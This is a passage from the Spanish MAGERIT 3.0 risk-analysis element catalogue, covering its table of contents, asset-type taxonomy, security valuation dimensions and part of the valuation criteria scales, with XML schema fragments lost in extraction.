5.2.11. [I.10] Degradación de los soportes de almacenamiento de la información ................31

5.2.12. [I.11] Emanaciones electromagnéticas.......................................................................32

5.3. [E] Errores y fallos no intencionados....................................................................................33

5.3.1. [E.1] Errores de los usuarios ........................................................................................33

5.3.2. [E.2] Errores del administrador .....................................................................................33

5.3.3. [E.3] Errores de monitorización (log) ............................................................................34

© Ministerio de Hacienda y Administraciones Públicas

página 3 (de 75)

Magerit 3.0 5.3.4. [E.4] Errores de configuración ......................................................................................34

5.3.5. [E.7] Deficiencias en la organización............................................................................34

5.3.6. [E.8] Difusión de software dañino .................................................................................35

5.3.7. [E.9] Errores de [re-]encaminamiento...........................................................................35

5.3.8. [E.10] Errores de secuencia .........................................................................................35

5.3.9. [E.14] Escapes de información .....................................................................................35

5.3.10. [E.15] Alteración accidental de la información............................................................36

5.3.11. [E.18] Destrucción de información..............................................................................36

5.3.12. [E.19] Fugas de información.......................................................................................37

5.3.13. [E.20] Vulnerabilidades de los programas (software) .................................................37

5.3.14. [E.21] Errores de mantenimiento / actualización de programas (software) ................37

5.3.15. [E.23] Errores de mantenimiento / actualización de equipos (hardware) ...................38

5.3.16. [E.24] Caída del sistema por agotamiento de recursos..............................................38

5.3.17. [E.25] Pérdida de equipos ..........................................................................................38

5.3.18. [E.28] Indisponibilidad del personal ............................................................................39

5.4. [A] Ataques intencionados....................................................................................................40

5.4.1. [A.3] Manipulación de los registros de actividad (log) ..................................................40

5.4.2. [A.4] Manipulación de la configuración .........................................................................40

5.4.3. [A.5] Suplantación de la identidad del usuario .............................................................41

5.4.4. [A.6] Abuso de privilegios de acceso............................................................................41

5.4.5. [A.7] Uso no previsto ....................................................................................................41

5.4.6. [A.8] Difusión de software dañino .................................................................................42

5.4.7. [A.9] [Re-]encaminamiento de mensajes......................................................................42

5.4.8. [A.10] Alteración de secuencia .....................................................................................42

5.4.9. [A.11] Acceso no autorizado.........................................................................................43

5.4.10. [A.12] Análisis de tráfico .............................................................................................43

5.4.11. [A.13] Repudio ............................................................................................................43

5.4.12. [A.14] Interceptación de información (escucha) .........................................................44

5.4.13. [A.15] Modificación deliberada de la información .......................................................44

5.4.14. [A.18] Destrucción de información..............................................................................44

5.4.15. [A.19] Divulgación de información ..............................................................................45

5.4.16. [A.22] Manipulación de programas .............................................................................45

5.4.17. [A.23] Manipulación de los equipos ............................................................................45

5.4.18. [A.24] Denegación de servicio ....................................................................................46

5.4.19. [A.25] Robo.................................................................................................................46

5.4.20. [A.26] Ataque destructivo ...........................................................................................46

5.4.21. [A.27] Ocupación enemiga .........................................................................................47

5.4.22. [A.28] Indisponibilidad del personal ............................................................................47

5.4.23. [A.29] Extorsión ..........................................................................................................47

5.4.24. [A.30] Ingeniería social (picaresca) ............................................................................47

5.5. Correlación de errores y ataques .........................................................................................48

5.6. Nuevas amenazas: XML ......................................................................................................49

5.6.1. Sintaxis BNF .................................................................................................................49

5.6.2. Esquema XSD ..............................................................................................................49

5.7. Nivel de la amenaza: XML ...................................................................................................50

5.7.1. Sintaxis BNF .................................................................................................................50

5.7.2. Esquema XSD ..............................................................................................................51

5.8. Referencias ..........................................................................................................................51

6. Salvaguardas ................................................................................................................ 53

6.1. Protecciones generales u horizontales ................................................................................53

6.2. Protección de los datos / información ..................................................................................54

6.3. Protección de las claves criptográficas ................................................................................54

6.4. Protección de los servicios...................................................................................................54

6.5. Protección de las aplicaciones (software) ............................................................................54

6.6. Protección de los equipos (hardware)..................................................................................55

6.7. Protección de las comunicaciones .......................................................................................55

6.8. Protección en los puntos de interconexión con otros sistemas ...........................................55

6.9. Protección de los soportes de información ..........................................................................55

© Ministerio de Hacienda y Administraciones Públicas

página 4 (de 75)

Magerit 3.0 6.10. Protección de los elementos auxiliares ..............................................................................56

6.11. Seguridad física – Protección de las instalaciones ............................................................56

6.12. Salvaguardas relativas al personal ....................................................................................56

6.13. Salvaguardas de tipo organizativo .....................................................................................56

6.14. Continuidad de operaciones...............................................................................................56

6.15. Externalización ...................................................................................................................57

6.16. Adquisición y desarrollo .....................................................................................................57

6.17. Referencias ........................................................................................................................57

Apéndice 1. Notación XML .............................................................................................. 59

Apéndice 2. Fichas ........................................................................................................... 60

A2.1. [info] Activos esenciales: información ................................................................................60

A2.2. [service] Activos esenciales: Servicio ................................................................................61

A2.3. [D] Datos / Información ......................................................................................................62

A2.4. [K] Claves criptográficas ....................................................................................................63

A2.5. [S] Servicios .......................................................................................................................63

A2.6. [SW] Aplicaciones (software) .............................................................................................64

A2.7. [HW] Equipamiento informático (hardware) .......................................................................65

A2.8. [COM] Redes de comunicaciones .....................................................................................65

A2.9. [Media] Soportes de información .......................................................................................66

A2.10. [AUX] Equipamiento auxiliar ............................................................................................67

A2.11. [L] Instalaciones ...............................................................................................................68

A2.12. [P] Personal .....................................................................................................................68

Apéndice 3. Modelo de valor ........................................................................................... 70

A3.1. Formato XML .....................................................................................................................70

Apéndice 4. Informes ....................................................................................................... 72

A4.1. Modelo de valor .................................................................................................................72

A4.2. Mapa de riesgos ................................................................................................................72

A4.3. Evaluación de salvaguardas ..............................................................................................73

A4.4. Estado de riesgo ................................................................................................................73

A4.5. Informe de insuficiencias ...................................................................................................73

A4.6. Plan de seguridad ..............................................................................................................74

© Ministerio de Hacienda y Administraciones Públicas

página 5 (de 75)

Magerit 3.0

Introducción

1. Introducción El objetivo de este catálogo de elementos que aparecen en un proyecto de análisis y gestión de riesgos es doble: 1. Por una parte, facilitar la labor de las personas que acometen el proyecto, en el sentido de ofrecerles ítem estándar a los que puedan adscribirse rápidamente, centrándose en lo es­ pecífico del sistema objeto del análisis. 2. Por otra, homogeneizar los resultados de los análisis, promoviendo una terminología y unos criterios que permitan comparar e incluso integrar análisis realizados por diferentes equipos. Persiguiendo estos objetivos, y sabiendo que la tecnología cambia rápidamente, las secciones que siguen describen un catálogo1 que marca unas pautas en cuanto a Tipos de activos, sabiendo que aparecerán nuevos tipos de activos continuamente. Dimensiones de valoración, sabiendo que en casos específicos pueden aparecer dimensio­ nes específicas; pero en la certidumbre de estar recogido lo esencial. Criterios de valoración, sabiendo que hay un fuerte componente de estimación por los exper­ tos; pero marcando una primera pauta de homogeneidad. El ánimo es relativizar el valor de los diferentes activos en sus diferentes dimensiones de valoración, de forma que no sólo se propone una escala dentro de una dimensión, sino que también se propone cómo se rela­ cionan las diferentes dimensiones entre sí. Amenazas, sabiendo que no todas las amenazas son significativas sobre todos los sistemas; pero con una razonable esperanza de que este catálogo crezca lentamente. Salvaguardas, sabiendo que es un terreno extremadamente complejo por su riqueza de tecno­ logías, productos y combinaciones ingeniosas de elementos básicos. Las salvaguardas se tratan con un enfoque de “identificación de necesidades” por parte de los responsables de los sistemas de información, mientras que se tratan con un enfoque de “controles de eficacia y eficiencia” por los auditores de sistemas. Se ha intentado un lenguaje intermedio que satis­ faga a ambos colectivos. Cada sección incluye una notación XML que se empleará para publicar los elementos en un for­ mato estándar capaz de ser procesado automáticamente por herramientas informáticas.

1 Este catálogo deberá adaptarse a la evolución de los sistemas de información. Es por ello que para cada categoría de elementos se define una notación XML que permitirá publicar ágilmente actualizaciones de este catálogo.

© Ministerio de Hacienda y Administraciones Públicas

página 6 (de 75)

Magerit 3.0

Tipos de activos

2. Tipos de activos

La tipificación de los activos es tanto un información documental de interés como un criterio de identificación de amenazas potenciales y salvaguardas apropiadas a la naturaleza del activo. La siguiente tabla no puede ser exhaustiva, ni tan siquiera válida para siempre. La relación que sigue clasifica los activos dentro de una jerarquía, determinando para cada uno un código que refleja su posición jerárquica, un nombre y una breve descripción de las características que recoge el epígrafe. Nótese que las pertenencia de un activo a un tipo no es excluyente de su pertenencia a otro tipo; es decir, un activo puede ser simultáneamente de varios tipos.

2.1. Activos esenciales En un sistema de información hay 2 cosas esenciales: — la información que se maneja y — los servicios que prestan. Estos activos esenciales marcan los requisitos de seguridad para todos los demás componentes del sistema. Dentro de la información que se maneja, puede ser interesante considerar algunas características formales tales como si son de carácter personal, con requisitos legales, o si están sometidos a alguna clasificación de seguridad, con requisitos normativos: [essential] Activos esenciales [info] información [adm] datos de interés para la administración pública [vr] datos vitales (registros de la organización) (1) [per] datos de carácter personal (2) [A] nivel alto [M] nivel medio [B] nivel bajo [classified] datos clasificados (3) [C] nivel confidencial [R] difusión limitada [UC] sin clasificar [pub] de carácter público [service] servicio

(1)

Dícese de aquellos que son esenciales para la supervivencia de la Organización; es decir que su carencia o daño afectaría directamente a la existencia de la Organización. Se pue­ den identificar aquellos que son imprescindibles para que la Organización supere una situa­ ción de emergencia, aquellos que permiten desempeñar o reconstruir las misiones críticas, aquellos sustancian la naturaleza legal o los derechos financieros de la Organización o sus usuarios.

(2)

Dícese de cualquier información concerniente a personas físicas identificadas o identifica­ bles. Los datos de carácter personal están regulados por leyes y reglamentos en cuanto afectan a las libertades públicas y los derechos fundamentales de las personas físicas, y especialmente su honor e intimidad personal y familiar.

(3)

Dícese de aquellos sometidos a normativa específica de control de acceso y distribución; es decir aquellos cuya confidencialidad es especialmente relevante. La tipificación de qué datos deben ser clasificados y cuales son las normas para su tratamiento, vienen deter­ minadas por regulaciones sectoriales, por acuerdos entre organizaciones o por normativa interna.

© Ministerio de Hacienda y Administraciones Públicas

página 7 (de 75)

Magerit 3.0

Tipos de activos

2.1.1. Datos de carácter personal Existen leyes relativas a los datos de carácter personal que, en función de su naturaleza y las cir­ cunstancias, establecen una serie de obligaciones a los sistemas de información que los tratan. En el caso de la legislación española, se ajusta a los dispuesto en •

Ley Orgánica 15/1999, de 13 de diciembre, de Protección de Datos de Carácter Personal (B.O.E. número 298, de 14/12/1999)

•

Real Decreto 1720/2007, de 21 de diciembre, por el que se aprueba el Reglamento de desa­ rrollo de la Ley Orgánica 15/1999, de 13 de diciembre, de protección de datos de carácter personal. (BOE número 17 de 19/1/2008)

El reglamento establece medidas específicas de nivel básico, medio y alto.

2.2. Arquitectura del sistema Se trata de elementos que permiten estructurar el sistema, definiendo su arquitectura interna y sus relaciones con el exterior.

[arch] Arquitectura del sistema [sap] punto de [acceso al] servicio (1) [ip] punto de interconexión (2) [ext] proporcionado por terceros (3)

(1)

Establece una frontera entre la prestación de un servicio (proveedor) y el usuario (consumi­ dor). Los requisitos de seguridad del usuario se convierten en obligaciones del prestatario, mientras que los incidentes de seguridad en el proveedor repercuten en el usuario.

(2)

Establece una frontera inter-pares: cuando dos sistemas se interconectan para intercambiar información.

(3)

Establece una frontera inferior, cuando para la prestación de nuestros servicios recurrimos a un tercero.

2.3. [D] Datos / Información Los datos son el corazón que permite a una organización prestar sus servicios. La información es un activo abstracto que será almacenado en equipos o soportes de información (normalmente agrupado como ficheros o bases de datos) o será transferido de un lugar a otro por los medios de transmisión de datos.

[D] Datos / Información [files] ficheros [backup] copias de respaldo [conf] datos de configuración (1) [int] datos de gestión interna [password] credenciales (ej. contraseñas) [auth] datos de validación de credenciales [acl] datos de control de acceso [log] registro de actividad (2)

© Ministerio de Hacienda y Administraciones Públicas

página 8 (de 75)

Magerit 3.0

Tipos de activos [D] Datos / Información

[source] código fuente [exe] código ejecutable [test] datos de prueba

(1)

Los datos de configuración son críticos para mantener la funcionalidad de las partes y del conjunto del sistema de información.

(2)

Los registros de actividad sustancian los requisitos de trazabilidad.

2.4. [K] Claves criptográficas Las criptografía se emplea para proteger el secreto o autenticar a las partes. Las claves criptográ­ ficas, combinando secretos e información pública, son esenciales para garantizar el funcionamien­ to de los mecanismos criptográficos.

[keys] Claves criptográficas [info] protección de la información [encrypt] claves de cifra [shared_secret] secreto compartido (clave simétrica) (1) [public_encryption] clave pública de cifra (2) [public_decryption] clave privada de descifrado (2) [sign] claves de firma [shared_secret] secreto compartido (clave simétrica) [public_signature] clave privada de firma (2) [public_verification] clave pública de verificación de firma (2) [com] protección de las comunicaciones [channel] claves de cifrado del canal [authentication] claves de autenticación [verification] claves de verificación de autenticación [disk] cifrado de soportes de información [encrypt] claves de cifra [x509] certificados de clave pública

(1)

Por ejemplo, DES, 3-DES, AES, etc.

(2)

Por ejemplo, RSA, Diffie-Hellman, curvas elípticas, etc.

2.5. [S] Servicios Función que satisface una necesidad de los usuarios (del servicio). Esta sección contempla servi­ cios prestados por el sistema.

[S] Servicios [anon] anónimo (sin requerir identificación del usuario) [pub] al público en general (sin relación contractual) [ext] a usuarios externos (bajo una relación contractual) [int] interno (a usuarios de la propia organización)

© Ministerio de Hacienda y Administraciones Públicas

página 9 (de 75)

Magerit 3.0

Tipos de activos [S] Servicios

[www] world wide web [telnet] acceso remoto a cuenta local [email] correo electrónico [file] almacenamiento de ficheros [ftp] transferencia de ficheros [edi] intercambio electrónico de datos [dir] servicio de directorio (1) [idm] gestión de identidades (2) [ipm] gestión de privilegios [pki] PKI - infraestructura de clave pública (3)

(1)

Localización de personas (páginas blancas), empresas o servicios (páginas amarillas); per­ mitiendo la identificación y facilitando los atributos que caracterizan al elemento determina­ do.

(2)

Servicios que permiten altas y bajas de usuarios de los sistemas, incluyendo su caracteriza­ ción y activando los servicios de aprovisionamiento asociados a sus cambios de estado respecto de la organización.

(3)

Servicios asociados a sistemas de criptografía de clave pública, incluyendo especialmente la gestión de certificados.

2.6. [SW] Software - Aplicaciones informáticas Con múltiples denominaciones (programas, aplicativos, desarrollos, etc.) este epígrafe se refiere a tareas que han sido automatizadas para su desempeño por un equipo informático. Las aplicacio­ nes gestionan, analizan y transforman los datos permitiendo la explotación de la información para la prestación de los servicios. No preocupa en este apartado el denominado “código fuente” o programas que serán datos de interés comercial, a valorar y proteger como tales. Dicho código aparecería como datos.

[SW] Aplicaciones (software) [prp] desarrollo propio (in house) [sub] desarrollo a medida (subcontratado) [std] estándar (off the shelf) [browser] navegador web [www] servidor de presentación [app] servidor de aplicaciones [email_client] cliente de correo electrónico [email_server] servidor de correo electrónico [file] servidor de ficheros [dbms] sistema de gestión de bases de datos [tm] monitor transaccional [office] ofimática [av] anti virus [os] sistema operativo [hypervisor] gestor de máquinas virtuales [ts] servidor de terminales [backup] sistema de backup

2.7. [HW] Equipamiento informático (hardware) Dícese de los medios materiales, físicos, destinados a soportar directa o indirectamente los servi­ cios que presta la organización, siendo pues depositarios temporales o permanentes de los datos, © Ministerio de Hacienda y Administraciones Públicas

página 10 (de 75)

Magerit 3.0

Tipos de activos

soporte de ejecución de las aplicaciones informáticas o responsables del procesado o la transmi­ sión de datos.

[HW] Equipos informáticos (hardware) [host] grandes equipos (1) [mid] equipos medios (2) [pc] informática personal (3) [mobile] informática móvil (4) [pda] agendas electrónicas [vhost] equipo virtual [backup] equipamiento de respaldo (5) [peripheral] periféricos [print] medios de impresión (6) [scan] escáneres [crypto] dispositivos criptográficos [bp] dispositivo de frontera (7) [network] soporte de la red (8) [modem] módems [hub] concentradores [switch] conmutadores [router] encaminadores [bridge] pasarelas [firewall] cortafuegos [wap] punto de acceso inalámbrico [pabx] centralita telefónica [ipphone] teléfono IP

(1)

Se caracterizan por haber pocos, frecuentemente uno sólo, ser económicamente gravosos y requerir un entorno específico para su operación. Son difícilmente reemplazables en caso de destrucción.

(2)

Se caracterizan por haber varios, tener un coste económico medio tanto de adquisición co­ mo de mantenimiento e imponer requerimientos estándar como entorno de operación. No es difícil reemplazarlos en caso de destrucción.

(3)

Se caracterizan por ser multitud, tener un coste económico relativamente pequeño e impo­ ner solamente unos requerimientos mínimos como entorno de operación. Son fácilmente reemplazables en caso de destrucción.

(4)

Se caracterizan por ser equipos afectos a la clasificación como informática personal que, además, son fácilmente transportables de un sitio a otro, pudiendo estar tanto dentro del re­ cinto propio de la organización como en cualquier otro lugar.

(5)

Son aquellos equipos preparados para hacerse cargo inmediato de los equipos en produc­ ción.

(6)

Dícese de impresoras y servidores de impresión.

(7)

Son los equipos que se instalan entre dos zonas de confianza.

(8)

Dícese de equipamiento necesario para transmitir datos: routers, módems, etc.

2.8 [COM] Redes de comunicaciones Incluyendo tanto instalaciones dedicadas como servicios de comunicaciones contratados a terce­ ros; pero siempre centrándose en que son medios de transporte que llevan datos de un sitio a otro.

© Ministerio de Hacienda y Administraciones Públicas

página 11 (de 75)

Magerit 3.0

Tipos de activos [COM] Redes de comunicaciones

[PSTN] red telefónica [ISDN] rdsi (red digital) [X25] X25 (red de datos) [ADSL] ADSL [pp] punto a punto [radio] comunicaciones radio [wifi] red inalámbrica [mobile] telefonía móvil [sat] por satélite [LAN] red local [MAN] red metropolitana [Internet] Internet

2.9. [Media] Soportes de información En este epígrafe se consideran dispositivos físicos que permiten almacenar in­ formación de forma permanente o, al menos, durante largos periodos de tiempo.

[Media] Soportes de información [electronic] electrónicos [disk] discos [vdisk] discos virtuales [san] almacenamiento en red [disquette] disquetes [cd] cederrón (CD-ROM) [usb] memorias USB [dvd] DVD [tape] cinta magnética [mc] tarjetas de memoria [ic] tarjetas inteligentes [non_electronic] no electrónicos [printed] material impreso [tape] cinta de papel [film] microfilm [cards] tarjetas perforadas

2.10. [AUX] Equipamiento auxiliar En este epígrafe se consideran otros equipos que sirven de soporte a los siste­ mas de información, sin estar directamente relacionados con datos.

[AUX] Equipamiento auxiliar [power] fuentes de alimentación [ups] sistemas de alimentación ininterrumpida [gen] generadores eléctricos [ac] equipos de climatización [cabling] cableado [wire] cable eléctrico [fiber] fibra óptica [robot] robots [tape] ... de cintas [disk] ... de discos [supply] suministros esenciales [destroy] equipos de destrucción de soportes de información [furniture] mobiliario: armarios, etc [safe] cajas fuertes

© Ministerio de Hacienda y Administraciones Públicas

página 12 (de 75)

Magerit 3.0

Tipos de activos

2.11. [L] Instalaciones En este epígrafe entran los lugares donde se hospedan los sistemas de información y comunica­ ciones. [L] Instalaciones [site] recinto [building] edificio [local] cuarto [mobile] plataformas móviles [car] vehículo terrestre: coche, camión, etc. [plane] vehículo aéreo: avión, etc. [ship] vehículo marítimo: buque, lancha, etc. [shelter] contenedores [channel] canalización [backup] instalaciones de respaldo

2.12. [P] Personal En este epígrafe aparecen las personas relacionadas con los sistemas de información. [P] Personal [ue] usuarios externos [ui] usuarios internos [op] operadores [adm] administradores de sistemas [com] administradores de comunicaciones [dba] administradores de BBDD [sec] administradores de seguridad [des] desarrolladores / programadores [sub] subcontratas [prov] proveedores

2.13. XML Los tipos de activos cabe esperar que evolucionen en el tiempo para adaptarse a la evolución tec­ nológica. Por ello se incluye a continuación una gramática de tipo XML que permita publicar perió­ dicamente actualizaciones de los tipos antes descritos.

2.13.1. Sintaxis BNF La notación se describe en el apéndice 1. { tipos }* tipos ::= { tipo }* tipo ::=

#name#

[ descripción ]

{ tipo }*



© Ministerio de Hacienda y Administraciones Públicas

página 13 (de 75)

Magerit 3.0

Tipos de activos

descripción ::= #texto#

Atributo

Ejemplo

Descripción

under

under=”X”

X identifica a un tipo de activos ya definido, indicando que los nuevos tipos de activos son refinamientos de X.

code

code=”X”

X es un identificador único que permite determinar unívocamente a qué tipo se refiere.

2.13.2. Esquema XSD version: magerit 3.0 (2011) date: 19.11.2011








minOccurs="0" maxOccurs="unbounded"/>












minOccurs="0" maxOccurs="unbounded"/>






minOccurs="0"/>


minOccurs="0" maxOccurs="unbounded"/>

© Ministerio de Hacienda y Administraciones Públicas

página 14 (de 75)

Magerit 3.0

Dimensiones de valoración

3. Dimensiones de valoración Son las características o atributos que hacen valioso un activo. Una dimensión es una faceta o aspecto de un activo, independiente de otras facetas. Pueden hacerse análisis de riesgos centra­ dos en una única faceta, independientemente de lo que ocurra con otros aspectos2. Las dimensiones se utilizan para valorar las consecuencias de la materialización de una amenaza. La valoración que recibe un activo en una cierta dimensión es la medida del perjuicio para la or­ ganización si el activo se ve dañado en dicha dimensión.

3.1. [D] Disponibilidad [D] disponibilidad Propiedad o característica de los activos consistente en que las entidades o procesos au­ torizados tienen acceso a los mismos cuando lo requieren. [UNE 71504:2008] ¿Qué importancia tendría que el activo no estuviera disponible? Un activo tiene un gran valor desde el punto de vista de disponibilidad cuando si una amenaza afectara a su disponibilidad, las consecuencias serían graves. Y recíprocamente, un activo carece de un valor apreciable desde el punto de vista de disponibili­ dad cuando puede no estar disponible frecuentemente y durante largos periodos de tiempo sin por ello causar mayor daño. La disponibilidad es una característica que afecta a todo tipo de activos. A menudo la disponibilidad requiere un tratamiento por escalones pues el coste de la indisponibili­ dad aumenta de forma no lineal con la duración de la interrupción, desde breves interrupciones sin importancia, pasando por interrupciones que causan daños considerables y llegando a interrup­ ciones que no admiten recuperación: la organización está acabada.

3.2. [I] Integridad de los datos [I] integridad Propiedad o característica consistente en que el activo de información no ha sido alterado de manera no autorizada. [ISO/IEC 13335-1:2004] ¿Qué importancia tendría que los datos fueran modificados fuera de control? Los datos reciben una alta valoración desde el punto de vista de integridad cuando su alteración, voluntaria o intencionada, causaría graves daños a la organización. Y, recíprocamente, los datos carecen de un valor apreciable desde el punto de vista de integridad cuando su alteración no supone preocupación alguna.

3.3. [C] Confidencialidad de la información [C] confidencialidad Propiedad o característica consistente en que la información ni se pone a disposición, ni se revela a individuos, entidades o procesos no autorizados. [UNE-ISO/IEC 27001:2007] ¿Qué importancia tendría que el dato fuera conocido por personas no autorizadas? 2 Como es el caso típico conocido como análisis de impacto (BIA) que busca determinar el coste de las paradas de los sistemas y desarrollar planes de contingencia para poner coto al tiempo de parada de la organización. En este caso se hace un análisis sectario de la disponibilidad.

© Ministerio de Hacienda y Administraciones Públicas

página 15 (de 75)

Magerit 3.0

Dimensiones de valoración

Los datos reciben una alta valoración desde el punto de vista de confidencialidad cuando su reve­ lación causaría graves daños a la organización. Y, recíprocamente, los datos carecen de un valor apreciable desde el punto de vista de confiden­ cialidad cuando su conocimiento por cualquiera no supone preocupación alguna.

3.4. [A] Autenticidad [A] autenticidad Propiedad o característica consistente en que una entidad es quien dice ser o bien que garantiza la fuente de la que proceden los datos. [UNE 71504:2008] ¿Qué importancia tendría que quien accede al servicio no sea realmente quien se cree? La autenticidad de los usuarios de un servicio es lo contrario de la oportunidad de fraude o uso no autorizado de un servicio. Así, un servicio recibe una elevada valoración desde el punto de vista de autenticidad cuando su prestación a falsos usuarios supondría un grave perjuicio para la organización. Y, recíprocamente, un servicio carece de un valor apreciable desde el punto de vista de autentici­ dad cuando su acceso por cualquiera no supone preocupación alguna. ¿Qué importancia tendría que los datos no fueran realmente imputables a quien se cree? Los datos reciben una elevada valoración desde el punto de vista de autenticidad del origen cuan­ do un defecto de imputación causaría graves quebrantos a la organización. Típicamente, se habili­ ta la oportunidad de repudio. Y, recíprocamente, los datos carecen de un valor apreciable desde el punto de vista de autentici­ dad del origen cuando ignorar la fuente es irrelevante.

3.5. [T] Trazabilidad [T] trazabilidad Propiedad o característica consistente en que las actuaciones de una entidad pueden ser imputadas exclusivamente a dicha entidad. [UNE 71504:2008]

¿Qué importancia tendría que no quedara constancia fehaciente del uso del servicio? Abriría las puertas al fraude, incapacitaría a la Organización para perseguir delitos y podría supo­ ner el incumplimiento de obligaciones legales. ¿Qué importancia tendría que no quedara constancia del acceso a los datos? Abriría las puertas al fraude, incapacitaría a la Organización para perseguir delitos y podría supo­ ner el incumplimiento de obligaciones legales.

3.6. XML Las dimensiones de valoración cabe esperar que evolucionen en el tiempo para adaptarse a la evolución tecnológica. Por ello se incluye a continuación una gramática de tipo XML que permita publicar periódicamente actualizaciones de las dimensiones antes descritas.

3.6.1. Sintaxis BNF La notación se describe en el apéndice 1. { dimensiones }*

© Ministerio de Hacienda y Administraciones Públicas

página 16 (de 75)

Magerit 3.0

Dimensiones de valoración

dimensiones ::= { dimensión }* dimensión ::= #nombre# [ descripción ] descripción ::= #texto#

Atributo code

Ejemplo code=”X”

Descripción X es un identificador único que permite determinar unívocamente a qué dimensión se refiere.

3.6.2. Esquema XSD

version: magerit 3.0 (2011)

date: 19.11.2011










minOccurs="0" maxOccurs="unbounded"/>










minOccurs="0" maxOccurs="unbounded"/>










minOccurs="0"/>







3.7. Referencias •

ISO 7498-2:1989, “Information processing systems -- Open Systems Interconnection -- Basic Reference Model -- Part 2: Security Architecture”, 1989.

© Ministerio de Hacienda y Administraciones Públicas

página 17 (de 75)

Magerit 3.0

Dimensiones de valoración

•

ISO/IEC 27000

•

FIPS PUB 199, “Standards for Security Categorization of Federal Information and Informa­ tion Systems”, December 2003. http://csrc.nist.gov/publications/fips/index.html

•

C. Alberts and A. Dorofee, “Managing information Security Risks. The OCTAVE Approach”, Addison Wesley, 2003. http://www.cert.org/octave/

© Ministerio de Hacienda y Administraciones Públicas

página 18 (de 75)

Magerit 3.0

Criterios de valoración

4. Criterios de valoración Para valorar los activos vale, teóricamente, cualquier escala de valores. A efectos prácticos es sin embargo muy importante que •

se use una escala común para todas las dimensiones, permitiendo comparar riesgos,

•

se use una escala logarítmica, centrada en diferencias relativas de valor, que no en diferen­ cias absolutas3 y

•

se use un criterio homogéneo que permita comparar análisis realizados por separado

Si la valoración es económica, hay poco más que hablar: dinero. Pero frecuentemente la valora­ ción es cualitativa, quedando a discreción del usuario; es decir, respondiendo a criterios subjeti­ vos. Se ha elegido una escala detallada de diez valores, dejando en valor 0 como determinante de lo que sería un valor despreciable (a efectos de riesgo). Si se realiza un análisis de riesgos de poco detalle, se puede optar por la tabla simplificada de menos niveles. Ambas escalas, detallada y simplificada se correlacionan como se indica a continuación:

valor

criterio

10

extremo

daño extremadamente grave

9

muy alto

daño muy grave

6-8

alto

daño grave

3-5

medio

daño importante

1-2

bajo

daño menor

0

despreciable

irrelevante a efectos prácticos

Las tablas siguientes pretenden guiar con más detalle a los usuarios valorando de forma homogé­ nea activos cuyo valor es importante por diferentes motivos.

4.1. Escalas estándar [pi] Información de carácter personal 6

6.pi1

probablemente afecte gravemente a un grupo de individuos

6.pi2

probablemente quebrante seriamente la ley o algún reglamento de protección de información personal

3 Así siempre es igual de relevante que un activo sea el doble de valioso que otro, independientemente de su valor absoluto. Por el contrario, sería extraño opinar que un activo vale dos más que otro sin explicitar su valor absoluto pues no es igual de relevante pasar de 0,1 a 2,1, que pasar de 1.000.000 a 1.000.002.

© Ministerio de Hacienda y Administraciones Públicas

página 19 (de 75)

Magerit 3.0 5 4 3 2 1

Criterios de valoración

5.pi1

probablemente afecte gravemente a un individuo

5.pi2

probablemente quebrante seriamente leyes o regulaciones

4.pi1

probablemente afecte a un grupo de individuos

4.pi2

probablemente quebrante leyes o regulaciones

3.pi1

probablemente afecte a un individuo

3.pi2

probablemente suponga el incumplimiento de una ley o regulación

2.pi1

pudiera causar molestias a un individuo

2.pi2

pudiera quebrantar de forma leve leyes o regulaciones

1.pi1

pudiera causar molestias a un individuo

[lpo] Obligaciones legales 9

9.lro

probablemente cause un incumplimiento excepcionalmente grave de una ley o re­ gulación

7

7.lro

probablemente cause un incumplimiento grave de una ley o regulación

5

5.lro

probablemente sea causa de incumplimiento de una ley o regulación

3

3.lro

probablemente sea causa de incumplimiento leve o técnico de una ley o regulación

1

1.lro

pudiera causar el incumplimiento leve o técnico de una ley o regulación

[si] Seguridad 10

10.si

probablemente sea causa de un incidente excepcionalmente serio de seguridad o dificulte la investigación de incidentes excepcionalmente serios

9

9.si

probablemente sea causa de un serio incidente de seguridad o dificulte la investi­ gación de incidentes serios

7

7.si

probablemente sea causa de un grave incidente de seguridad o dificulte la investi­ gación de incidentes graves

3

3.si

probablemente sea causa de una merma en la seguridad o dificulte la investiga­ ción de un incidente

1

1.si

pudiera causar una merma en la seguridad o dificultar la investigación de un inci­ dente

[cei] Intereses comerciales o económicos 9

7

9.cei.a

de enorme interés para la competencia

9.cei.b

de muy elevado valor comercial

9.cei.c

causa de pérdidas económicas excepcionalmente elevadas

9.cei.d

causa de muy significativas ganancias o ventajas para individuos u organizaciones

9.cei.e

constituye un incumplimiento excepcionalmente grave de las obligaciones contrac­ tuales relativas a la seguridad de la información proporcionada por terceros

7.cei.a

de alto interés para la competencia

7.cei.b

de elevado valor comercial

7.cei.c

causa de graves pérdidas económicas

7.cei.d

proporciona ganancias o ventajas desmedidas a individuos u organizaciones

© Ministerio de Hacienda y Administraciones Públicas

página 20 (de 75)

Magerit 3.0

3

2 1 0

Criterios de valoración

7.cei.e

constituye un serio incumplimiento de obligaciones contractuales relativas a la se­ guridad de la información proporcionada por terceros

3.cei.a

de cierto interés para la competencia

3.cei.b

de cierto valor comercial

3.cei.c

causa de pérdidas financieras o merma de ingresos

3.cei.d

facilita ventajas desproporcionadas a individuos u organizaciones

3.cei.e

constituye un incumplimiento leve de obligaciones contractuales para mantener la seguridad de la información proporcionada por terceros

2.cei.a

de bajo interés para la competencia

2.cei.b

de bajo valor comercial

1.cei.a

de pequeño interés para la competencia

1.cei.b

de pequeño valor comercial

0.3

supondría pérdidas económicas mínimas

[da] Interrupción del servicio 9

9.da

Probablemente cause una interrupción excepcionalmente seria de las actividades propias de la Organización con un serio impacto en otras organizaciones

9.da2

Probablemente tenga un serio impacto en otras organizaciones

7.da

Probablemente cause una interrupción seria de las actividades propias de la Or­ ganización con un impacto significativo en otras organizaciones

7.da2

Probablemente tenga un gran impacto en otras organizaciones

5.da

Probablemente cause la interrupción de actividades propias de la Organización con impacto en otras organizaciones

5.da2

Probablemente cause un cierto impacto en otras organizaciones

3

3.da

Probablemente cause la interrupción de actividades propias de la Organización

1

1.da

Pudiera causar la interrupción de actividades propias de la Organización

7

5

[po] Orden público 9

9.po

alteración seria del orden público

6

6.po

probablemente cause manifestaciones, o presiones significativas

3

3.po

causa de protestas puntuales

1

1.po

pudiera causar protestas puntuales

[olm] Operaciones 10

10.olm

Probablemente cause un daño excepcionalmente serio a la eficacia o seguridad de la misión operativa o logística

9

9.olm

Probablemente cause un daño serio a la eficacia o seguridad de la misión operati­ va o logística

7

7.olm

Probablemente perjudique la eficacia o seguridad de la misión operativa o logística

5

5.olm

Probablemente merme la eficacia o seguridad de la misión operativa o logística más allá del ámbito local

